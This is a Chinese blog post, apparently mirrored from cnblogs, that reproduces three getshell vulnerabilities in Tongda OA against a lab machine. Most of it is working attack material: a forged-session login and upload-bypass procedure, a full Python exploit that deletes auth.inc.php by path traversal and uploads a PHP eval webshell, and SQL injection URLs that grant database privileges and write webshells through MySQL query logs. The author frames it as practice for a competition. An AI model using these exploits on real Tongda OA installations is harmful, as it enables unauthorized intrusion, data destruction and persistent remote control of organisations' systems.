zoukankan      html  css  js  c++  java
  • 通达oa getshell漏洞复现

    一、实验环境

    靶机环境

    • win7
    • 192.168.73.129

    攻击机环境

    • win10
    • 192.168.73.1

    二、漏洞复现

    2.1任意用户登录、后台文件上传getshell(V11.X<V11.5/2017)

    靶机下载通达 oa 2017 版本,使用默认服务配置

    poc 下载地址 https://github.com/NS-Sp4ce/TongDaOA-Fake-User

    python3 POC.py -v 2017 -url http://192.168.73.129/ 获得 PHPSESSID,前台 F12 替换为此 PHPSESSID,然后访问 /general/index.php 成功登录到管理员账户

    后台点击系统管理->附件管理->添加存储目录(选择根目录)->添加

    然后再点击组织->系统管理员->附件,如图所示

    直接上传 shell.php 显示文件不存在,抓包改为 shell.php. 文件,文件名不符合 windows 命名规范,系统自动去掉最后的点号,放包后返回文件保存路径

    冰蝎可以成功连接 http://192.168.73.129/im/2010/559350980.shell.php

    2.2远程命令执行(V11.6)

    默认服务配置安装环境,大佬的 exp 如下

    import requests
    #填写ip
    target="http://192.168.73.129/"  
    #一句话木马密码pass  
    payload="<?php eval($_POST['pass']);?>"
    print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
    input("Press enter to continue")
    print("[*]Deleting auth.inc.php....")
    #删除网站里的auth.inc.php文件
    url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"  
    requests.get(url=url)
    print("[*]Checking if file deleted...")
    url=target+"/inc/auth.inc.php"
    page=requests.get(url=url).text
    if 'No input file specified.' not in page:
        print("[-]Failed to deleted auth.inc.php")
        exit(-1)
    print("[+]Successfully deleted auth.inc.php!")
    print("[*]Uploading payload...")
    url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
    files = {'FILE1': ('deconf.php', payload)}
    requests.post(url=url,files=files)
    url=target+"/_deconf.php"
    page=requests.get(url=url).text
    if 'No input file specified.' not in page:
        print("[+]Filed Uploaded Successfully")
        print("[+]URL:",url)
    else:
        print("[-]Failed to upload file")

    url 即为一句话木马位置,蚁剑成功连接

    2.3后台sql注入getshell(V11.7)

    默认服务配置安装环境,在通达应用服务控制中心开启 mysql 服务,默认端口是3336,此漏洞利用需要有账号密码在后台登录,/general/hr/manage/query/delete_cascade.php?condition_cascade 参数存在布尔盲注

    http://192.168.73.129/general/hr/manage/query/delete_cascade.php?condition_cascade=select%20if((1=1),1,power(9999,99))

    http://192.168.73.129/general/hr/manage/query/delete_cascade.php?condition_cascade=select%20if((1=2),1,power(9999,99))

    添加账户 at666,密码 abcABC@123

    http://192.168.73.129/general/hr/manage/query/delete_cascade.php?condition_cascade=grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

    navicat 连接数据库,由于添加的账户不能直接通过慢查询日志写入文件,需要给创建的账户添加权限

    UPDATE `mysql`.`user` SET `Password` = '*DE0742FA79F6754E99FDB9C8D2911226A5A9051D', `Select_priv` = 'Y', `Insert_priv` = 'Y', `Update_priv` = 'Y', `Delete_priv` = 'Y', `Create_priv` = 'Y', `Drop_priv` = 'Y', `Reload_priv` = 'Y', `Shutdown_priv` = 'Y', `Process_priv` = 'Y', `File_priv` = 'Y', `Grant_priv` = 'Y', `References_priv` = 'Y', `Index_priv` = 'Y', `Alter_priv` = 'Y', `Show_db_priv` = 'Y', `Super_priv` = 'Y', `Create_tmp_table_priv` = 'Y', `Lock_tables_priv` = 'Y', `Execute_priv` = 'Y', `Repl_slave_priv` = 'Y', `Repl_client_priv` = 'Y', `Create_view_priv` = 'Y', `Show_view_priv` = 'Y', `Create_routine_priv` = 'Y', `Alter_routine_priv` = 'Y', `Create_user_priv` = 'Y', `Event_priv` = 'Y', `Trigger_priv` = 'Y', `Create_tablespace_priv` = 'Y', `ssl_type` = '', `ssl_cipher` = '', `x509_issuer` = '', `x509_subject` = '', `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = 'mysql_native_password', `authentication_string` = '', `password_expired` = 'Y' WHERE `Host` = Cast('%' AS Binary(1)) AND `User` = Cast('at666' AS Binary(5));

    在注入点刷新权限,当前用户没有刷新权限的权限

    http://192.168.73.129/general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;

    navicat 提示密码过期,需要再次执行

    http://192.168.73.129/general/hr/manage/query/delete_cascade.php?condition_cascade=grant all privileges ON mysql.* TO 'at666'@'%' IDENTIFIED BY 'abcABC@123' WITH GRANT OPTION

    写 shell 方式一

    select @@basedir;
    set global slow_query_log=on;
    set global slow_query_log_file='C:/MYOA/webroot/test.php';
    select '<?php eval($_POST[x]);?>' or sleep(11);

    写 shell 方式二

    select @@basedir;
    set global general_log = on;
    set global general_log_file ='C:/MYOA/webroot/test2.php';
    select '<?php eval($_POST[y]);?>';
    show variables like '%general%';

    三、总结

    为了准备程序员节的比赛,还没有研究漏洞原理,只匆匆忙忙找了一些可以 getshell 的漏洞复现,如果有问题欢迎师傅们批评指正(李师傅、范师傅、刘师傅正在我旁边专心致志复习考研,这里悄悄留个彩蛋,做为咕噜灵波战队吃饭最积极的菜鸡希望三位师傅越来越圆hhh)

    参考:

    https://www.cnblogs.com/lovequitepcs/p/12864203.html

    https://blog.csdn.net/weixin_44288604/article/details/108144165

    https://www.cnblogs.com/yuzly/p/13690737.html

  • 相关阅读:
    sqli-libs(38-41(堆叠注入)关)
    Vue 短信验证码逻辑
    promise(二)
    js类型转换
    微信小程序的组件传值
    微信小程序首页跳转详情页
    微信小程序的事件绑定
    微信小程序简介
    webpack4入门教程十分钟上手指南
    Vue 全局注册组件和局部注册组件
  • 原文地址:https://www.cnblogs.com/wkzb/p/13773055.html
Copyright © 2011-2022 走看看